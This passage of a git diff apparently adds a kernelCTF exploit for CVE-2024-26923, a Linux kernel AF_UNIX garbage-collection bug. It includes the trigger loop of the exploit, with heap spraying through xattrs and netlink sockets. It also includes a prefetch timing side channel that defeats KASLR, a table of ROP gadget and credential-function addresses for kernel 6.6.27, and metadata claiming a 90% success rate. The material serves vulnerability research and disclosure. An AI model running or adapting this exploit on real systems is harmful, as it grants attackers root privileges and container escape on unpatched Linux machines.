int xfd = -1; + unsigned int xattr_fd_idx = 0; + char fname[512]; + g_payload_location = g_page_offset_base + 0x06000028; + + printf("Payload location: 0x%lx\n", g_payload_location); + prepare_more_socks(g_mmapped_buf); + + for (int i = 0; i < XATTR_CNT; i++) + { + if (i == 0 || (i / XATTR_CHUNK) > xattr_fd_idx) { + xattr_fd_idx = i / XATTR_CHUNK; + if ((i % 1000) == 0) + printf("xattrs %d/%d\n", i, XATTR_CNT); + + snprintf(fname, sizeof(fname), "/tmp/x_%d", xattr_fd_idx); + + xfd = open(fname, O_RDWR|O_CREAT, 0600); + if (xfd < 0) + err(1, "xattr open\n"); + + } + + alloc_xattr_fd(xfd, i, 65535, g_mmapped_buf); + } + + int fds[FD_PER_SOCKET]; + for (int i = 0; i < FD_PER_SOCKET; i++) + { + fds[i] = socket(AF_NETLINK, SOCK_DGRAM, 0); + if (fds[i] < 0) + err(1, "socket netlink slow"); + } + + printf("parent pid: %d xattr fd: %d %d\n", getpid(), xfd, xattr_fd); + for (int i = 0; i < 10000; i++) + { + one_attempt(tfd, tfd2, xattr_fd, fds); + } + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/kaslr.c b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/kaslr.c new file mode 100644 index 000000000..d992a6d9d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/kaslr.c @@ -0,0 +1,185 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +// Some of this code is based on Prefetch Side-Channel work by Daniel Gruss + +size_t hit_histogram[4000]; +size_t miss_histogram[4000]; + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload(void* addr) // row hit +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + //maccess((void*)0x500000); + return delta; +} + +#define TRIES (1*128*1024) + +size_t measure(size_t addr) +{ + memset(hit_histogram,0,4000*sizeof(size_t)); + + for (int i = 0; i < TRIES; ++i) + { + size_t d = onlyreload((void*)addr); + hit_histogram[MIN(3999,d)]++; + } + + size_t sum_hit = 0; + size_t hit_max = 0; + size_t hit_max_i = 0; + for (int i = 0; i < 4000; ++i) + { + if (hit_max < hit_histogram[i]) + { + hit_max = hit_histogram[i]; + hit_max_i = i; + } + sum_hit += hit_histogram[i] * i; + } + + return sum_hit / TRIES; +} + + +uint64_t leak_kernel_text() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + unsigned long i = 0; + for (addr = 0xffffffff81000000L; addr < 0xffffffffff000000L; addr += 0x100000) + { + time = measure(addr); + + if ((i++ % 16) == 0) + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + + printf("Found 0x%lx\n", addr); + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} + +uint64_t leak_direct_mapping() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + unsigned long i = 0; + for (addr = 0xffff888000000000L; addr < 0xffffc88000000000L; addr += 0x10000000) + { + time = measure(addr); + + if ((i++ % 16) == 0) + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + + printf("Found 0x%lx\n", addr); + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/kernelver_6.6.27.h b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/kernelver_6.6.27.h new file mode 100644 index 000000000..ca5410b7d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/kernelver_6.6.27.h @@ -0,0 +1,33 @@ +#define MSLEEP 0xffffffff81271230 +#define COPY_USER_GENERIC_STRING 0x +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff8134e267 +#define FIND_TASK_BY_VPID 0xffffffff811e8920 +#define RETURN_THUNK 0xffffffff8242d120 +#define POP_RSP_RBP_RBX 0xffffffff8113b165 +#define POP_RCX 0xffffffff81031c0d +#define INIT_CRED 0xffffffff83c72d60 +#define PUSH_RSI_JMP_QWORD_RSI_0F 0x +#define PUSH_RSI_JMP_QWORD_RSI_MINUS70 0xffffffff81e84a5c +#define POP_RSI_RDX_RCX 0xffffffff810ec97a +#define INIT_NSPROXY 0xffffffff83c72880 +#define SWITCH_TASK_NAMESPACES 0xffffffff811f2d10 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff81563058 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810ec979 +#define POP_RSI_RDI 0xffffffff81c03ee1 +#define POP_RDX_RDI 0xffffffff81a1af5b +#define AUDIT_SYSCALL_EXIT 0xffffffff812bcaf0 +#define SYS_KEXEC_FILE_LOAD 0xffffffff81295790 +#define RETURN_VIA_SYSRET 0xffffffff82600225 +#define MEMCPY 0xffffffff82416ee0 +#define SET_MEMORY_RW 0xffffffff811552c0 +#define COMMIT_CREDS 0xffffffff811f5070 +#define POP_RSI 0xffffffff819b4e0d +#define POP_RSP 0xffffffff810425c0 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810ec971 +#define POP_RDI 0xffffffff811ad46c +#define POP_RDX 0xffffffff81057b72 +#define RW_BUFFER 0xffffffff84700000 +#define G1 0xffffffff8218aa99 +#define GC_INFLIGHT_LIST 0xffffffff83ef52c0 +#define UNIX_FAMILY_OPS 0xffffffff82d7b580 +#define MOV_RDI_RAX 0xffffffff81292f2d diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/metadata.json new file mode 100644 index 000000000..640f989c8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/metadata.json @@ -0,0 +1,37 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp160", "exp162" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=47d8ac011fe1c9251070e1bd64cb10b48193ec51", + "cve": "CVE-2024-26923", + "affected_versions": [ + "3.0 - 6.1.86", + "3.0 - 6.6.27" + ], + "requirements": { + "attack_surface": [ + ], + "capabilities": [ + ], + "kernel_config": [ + "CONFIG_UNIX" + ] + } + }, + "exploits": { + "lts-6.6.27": { + "uses": [ + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "90% success rate" + }, + "cos-109-17800.147.54": { + "uses": [ + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "90% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/original_exp160.tar.gz b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/original_exp160.tar.gz new file mode 100644 index 000000000..5a47889ba Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/original_exp160.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/original_exp162.tar.gz b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/original_exp162.tar.gz new file mode 100644 index 000000000..2e750a5d9 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/original_exp162.tar.gz differ